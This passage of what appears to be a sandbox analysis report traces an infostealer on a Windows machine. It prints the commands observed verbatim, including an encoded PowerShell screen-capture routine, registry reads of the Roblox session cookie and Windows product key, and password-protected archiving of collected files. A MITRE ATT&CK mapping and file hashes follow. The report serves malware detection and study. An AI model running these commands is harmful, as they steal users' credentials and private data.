AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3080
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oc1u4kx0\oc1u4kx0.cmdline"
        5⤵
        
        PID:5988
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5CA2.tmp" "c:\Users\Admin\AppData\Local\Temp\oc1u4kx0\CSC654474F6D3654526A4D562DF437EB851.TMP"
        6⤵
        
        PID:5600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5256
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5384
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5504
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5588
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2328"
    3⤵
    PID:5776
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2328
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4692"
    3⤵
    PID:6000
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4692
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5092"
    3⤵
    PID:6140
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5092
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3936"
    3⤵
    PID:3260
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3936
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:3916
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:5292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2696"
    3⤵
    PID:5260
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2696
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2724"
    3⤵
    PID:2988
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2724
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4532"
    3⤵
    PID:5424
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4532
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:5656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:5772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29642\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\xM7Wz.zip" *"
    3⤵
    PID:1904
  - - C:\Users\Admin\AppData\Local\Temp\_MEI29642\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI29642\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\xM7Wz.zip" *
      4⤵
      Executes dropped EXE
      PID:5100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:5808
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:5312
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2116
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:4256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:564
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:3984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2752

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 3cc2ef28f616ca2a6e5fb06da63d6bdb53b63e92701ecee38e84f98b7f56b38a
MD5 dbf9fec0284459c885c695c96fdd4e67
SHA1 f3530eb549137596bb53cde08a3e3cc1ea237faf
SHA512 95a7858d009940a1c29f9c05c2bd2a6a03a3122fe749546d87e435b5d3172fd0d22dec099b450be3ea99c58b8681484eafd8ad00be1364d9085fc4a9f249f452
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8f161e4c74eb4ca15c0601ce7a291f3ee1dc0aa46b788181bfe1d33f2b099466
MD5 e5ea61f668ad9fe64ff27dec34fe6d2f
SHA1 5d42aa122b1fa920028b9e9514bd3aeac8f7ff4b
SHA512 cb308188323699eaa2903424527bcb40585792f5152aa7ab02e32f94a0fcfe73cfca2c7b3cae73a9df3e307812dbd18d2d50acbbfeb75d87edf1eb83dd109f34
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d57eaa7430eb0e77e8e0e390e3d62c56f0a8e465e6d10a4ddc7081970196d660
MD5 f6b6a0bd7128a895fc5f1a45e5f2440a
SHA1 ce46eec76745a9a4c0e1ffbef742f9e9df93cd50
SHA512 845d1d9b51aa4d219f6947681b3a47b2f8c769fe45b4453f73e882cb4b04ea3747ec8cd59c43b75d26e5b0a15ab8f93323fc6aece93c5eec592e593aa43c1e68
MD5 SHA1 SHA512

Submit Download

RES5CA2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5CA2.tmp
Size 1KB
SHA256 3d3d55a2b5b1fde0e2d495f9cfbdd95d1a533540b0c0debfb0b83867f8594382
MD5 e87ab89f7872895e02c603fe1a6fc61d
SHA1 a83e7029103b611b81fb1893a7a722fb8309b046
SHA512 8ddfd07aebd2970aa5d7753e0224f30918f09edecab2d3c432bd113350f67638bcfe0ad33cd1d9700b52b00f59816b1a94d0fe62eca7737edd5cb28d91475b2c
MD5 SHA1 SHA512

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\VCRUNTIME140.dll
Size 106KB
SHA256 76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644
MD5 870fea4e961e2fbd00110d3783e529be
SHA1 a948e65c6f73d7da4ffde4e8533c098a00cc7311
SHA512 0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88
SSDEEP 1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
MD5 SHA1 SHA512 SSDEEP

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_bz2.pyd
Size 48KB
SHA256 bf79ddbfa1cc4df7987224ee604c71d9e8e7775b9109bf4ff666af189d89398a
MD5 83b5d1943ac896a785da5343614b16bc
SHA1 9d94b7f374030fed7f6e876434907561a496f5d9
SHA512 5e7dcc80ac85bd6dfc4075863731ea8da82edbb3f8ffafba7b235660a1bd0c60f7dfde2f7e835379388de277f9c1ceae7f209495f868cb2bd7db0de16495633c
SSDEEP 768:0iulhAbgFQ1/NGSS1xNDrxiRx8/CWpsVDIA32w1Nep83IJCV1RU5YiSyvrjPxWER:0iiGgF1TxbYecf1R3IJCV1U7SyTjPxL
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_ctypes.pyd
Size 58KB
SHA256 b43963b0883ba2e99f2b7dd2110d33063071656c35e6575fca203595c1c32b1a
MD5 7ecc651b0bcf9b93747a710d67f6c457
SHA1 ebb6dcd3998af9fff869184017f2106d7a9c18f3
SHA512 1ff4837e100bc76f08f4f2e9a7314bcaf23ebfa4f9a82dc97615cde1f3d29416004c6346e51afc6e61360573df5fcd2a3b692fd544ccad5c616fb63ac49303c5
SSDEEP 1536:nUOlRJUIp/i+OnIlnpJ8+j46IJLPF47SyHPxr:UOpnomlnpJPk6IJLPF4Vxr
MD5 SHA1 SHA512 SSDEEP

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_decimal.pyd
Size 106KB
SHA256 a0fa3ad93f98f523d189a8de951e42f70cc1446793098151fc50ba6b5565f2e3
MD5 0cfe09615338c6450ac48dd386f545fd
SHA1 61f5bd7d90ec51e4033956e9ae1cfde9dc2544fe
SHA512 42b293e58638074ce950775f5ef10ec1a0bb5980d0df74ad89907a17f7016d68e56c6ded1338e9d04d19651f48448deee33a0657d3c03adba89406d6e5f10c18
SSDEEP 3072:pUOy4s97sRfmdE9MwgHYofX/oImJNdhK2cLxIJOqzCecxZ:pUObkNdEewJofPRmjdhKtqC/
MD5 SHA1 SHA512 SSDEEP

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_hashlib.pyd
Size 35KB
SHA256 258ad0d7e8b2333b4b260530e14ebe6abd12cae0316c4549e276301e5865b531
MD5 7edb6c172c0e44913e166abb50e6fba6
SHA1 3f8c7d0ff8981d49843372572f93a6923f61e8ed
SHA512 2a59cc13a151d8800a29b4f9657165027e5bf62be1d13c2e12529ef6b7674657435bfd3cc16500b2aa7ce95b405791dd007c01adf4cdd229746bd2218bfdc03f
SSDEEP 768:Y1cXZ8iY8JshuGfJ5fA0EphrzIJOI40W5YiSyvVPxWExHd0:4SYZhu25I0OrzIJOI40s7SydPxPK
MD5 SHA1 SHA512 SSDEEP

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_lzma.pyd
Size 85KB
SHA256 d0e10445281cf3195c2a1aa4e0e937d69cae07c492b74c9c796498db33e9f535
MD5 71f0b9f90aa4bb5e605df0ea58673578
SHA1 c7c01a11b47dc6a447c7475ef6ba7dec7c7ba24e
SHA512 fc63b8b48d6786caecaf1aa3936e5f2d8fcf44a5a735f56c4200bc639d0cb9c367151a7626aa5384f6fc126a2bd0f068f43fd79277d7ec9adfc4dcb4b8398ae2
SSDEEP 1536:TxZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6V/busIJZ1Ow7SycfxPxPD:NvA5utzWfXE0V0ZK+K+ZdIJZ1Owqf1xL
MD5 SHA1 SHA512 SSDEEP

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_queue.pyd
Size 25KB
SHA256 d92eadb90aed96acb5fac03bc79553f4549035ea2e9d03713d420c236cd37339
MD5 f1e7c157b687c7e041deadd112d61316
SHA1 2a7445173518a342d2e39b19825cf3e3c839a5fe
SHA512 982fd974e5892af9f360dc4c7ccaa59928e395ccef8ea675fadb4cf5f16b29350bf44c91ea1fd58d90cbca02522eba9543162e19c38817edbfd118bc254515da
SSDEEP 768:yihFw4wEcpDjIJQU4p5YiSyvpKHPxWEx7M:ZwEcjIJQU437SyhKHPxDM
MD5 SHA1 SHA512 SSDEEP

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_socket.pyd
Size 43KB
SHA256 5b73b9ea327f7fb4cefddd65d6050cdec2832e2e634fcbf4e98e0f28d75ad7ca
MD5 57dc6a74a8f2faaca1ba5d330d7c8b4b
SHA1 905d90741342ac566b02808ad0f69e552bb08930
SHA512 5e2b882fc51f48c469041028b01f6e2bfaf5a49005ade7e82acb375709e74ad49e13d04fd7acb6c0dbe05f06e9966a94753874132baf87858e1a71dcffc1dc07
SSDEEP 768:oQ8MABQICFr2Tg+z2uPxYEV/WJqOxUbOD9p0bmIJLw1Fu5YiSyvYPxWExAGUd:oTiFtipt/MLk2sbmIJLw1FE7SygPxYd
MD5 SHA1 SHA512 SSDEEP

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_sqlite3.pyd
Size 56KB
SHA256 d125e113e69a49e46c5534040080bdb35b403eb4ff4e74abf963bce84a6c26ad
MD5 72a0715cb59c5a84a9d232c95f45bf57
SHA1 3ed02aa8c18f793e7d16cc476348c10ce259feb7
SHA512 73c0e768ee0c2e6ac660338d2268540254efe44901e17271595f20f335ada3a9a8af70845e8a253d83a848d800145f7ecb23c92be90e7dd6e5400f72122d09de
SSDEEP 1536:s11OB9LTyHEhkBFl837aWkr5LL08XEFIJOQFl7SysPxd:sS/LTyHRTU1k1L48XqIJOQFlyxd
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\_ssl.pyd
Size 62KB
SHA256 8b6c028a327e887f1b2ccd35661c4c7c499160e0680ca193b5c818327a72838c
MD5 8f94142c7b4015e780011c1b883a2b2f
SHA1 c9c3c1277cca1e8fe8db366ca0ecb4a264048f05
SHA512 7e29163a83601ed1078c03004b3d40542e261fda3b15f22c2feec2531b05254189ae1809c71f9df78a460bf2282635e2287617f2992b6b101854ddd74fcad143
SSDEEP 1536:zBEP8gL60s9SRCCtqClb8pIJC7+757SyhQPxZ4:NE0OsiaClbmIJC7+9IxZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\base_library.zip
Size 1.4MB
SHA256 a20eeb4ba2069863d40e4feab2136ca5be183887b6368e32f1a12c780a5af1ad
MD5 2efeab81308c47666dfffc980b9fe559
SHA1 8fbb7bbdb97e888220df45cc5732595961dbe067
SHA512 39b030931a7a5940edc40607dcc9da7ca1bf479e34ebf45a1623a67d38b98eb4337b047cc8261038d27ed9e9d6f2b120abbf140c6c90d866cdba0a4c810ac32c
SSDEEP 24576:mQR5pATt7xm4lUKdcubgAnyfb0s0iwhBdYf9P3sGHHl:mQR5pQxmgGL
MD5 SHA1 SHA512 SSDEEP

Submit Download

blank.aes

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\blank.aes
Size 116KB
SHA256 25fb1448b4823c480e07ccd3ba7644f6f69610b22a7b23854ee5af5f6271483e
MD5 3ef100d84f1b292900cad1201b02e90f
SHA1 c2a829e58d3b418a6d1a150a129df5d605b55c02
SHA512 72ea06e170759077283298b04df139a7a44e71bc4055b60ab41f781880900a8d53ac8ab5e0d47cd0c744070949012aed3068417c2442d7f319b3221bd82d2ae3
SSDEEP 3072:f5zbcuRpNdav6gNTk26IpScUwDp5wvGLHAsCHsrAHB2Z:RvRR3dHgNdLpScj5wvCgN0AHB2Z
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcrypto-1_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\libcrypto-1_1.dll
Size 1.1MB
SHA256 9d2257d0de8172bcc8f2dba431eb91bd5b8ac5a9cbe998f1dcac0fac818800b1
MD5 e5aecaf59c67d6dd7c7979dfb49ed3b0
SHA1 b0a292065e1b3875f015277b90d183b875451450
SHA512 145eaa969a1a14686ab99e84841b0998cf1f726709ccd177acfb751d0db9aa70006087a13bf3693bc0b57a0295a48c631d0b80c52472c97ebe88be5c528022b4
SSDEEP 24576:PwE/QASFe309yYRrVcjz8suN+2r7qL18D+/81CPwDv3uFfJm:4QBkIYPcnY/qR8DU81CPwDv3uFfJm
MD5 SHA1 SHA512 SSDEEP

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\libffi-8.dll
Size 27KB
SHA256 1928574a8263d2c8c17df70291f26477a1e5e8b3b9ab4c4ff301f3bc5ce5ca33
MD5 87786718f8c46d4b870f46bcb9df7499
SHA1 a63098aabe72a3ed58def0b59f5671f2fd58650b
SHA512 3abf0a3448709da6b196fe9238615d9d0800051786c9691f7949abb3e41dfb5bdaf4380a620e72e1df9e780f9f34e31caad756d2a69cad894e9692aa161be9f7
SSDEEP 768:tp/6aepjG56w24apnpiYiSyvOPxWESW7t:HA154ypi7SymPxlp
MD5 SHA1 SHA512 SSDEEP

Submit Download

libssl-1_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\libssl-1_1.dll
Size 203KB
SHA256 abe8267f399a803224a1f3c737bca14dee2166ba43c1221950e2fbce1314479e
MD5 7bcb0f97635b91097398fd1b7410b3bc
SHA1 7d4fc6b820c465d46f934a5610bc215263ee6d3e
SHA512 835bab65d00884912307694c36066528e7b21f3b6e7a1b9c90d4da385334388af24540b9d7a9171e89a4802612a8b6523c77f4752c052bf47adbd6839bc4b92c
SSDEEP 6144:dkqFpMp50kT4+NfKM8oaRdGYRNXzpAWX:dvFeH0+bSM8oaRHN
MD5 SHA1 SHA512 SSDEEP

Submit Download

python311.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI29642\python311.dll
Size 1.6MB
SHA256 8a0c27f9e5b2efd54e41d7e7067d7cb1c6d23bae5229f6d750f89568566227b0
MD5 1e76961ca11f929e4213fca8272d0194
SHA1 e52763b7ba970c3b14554065f8c2404112f53596
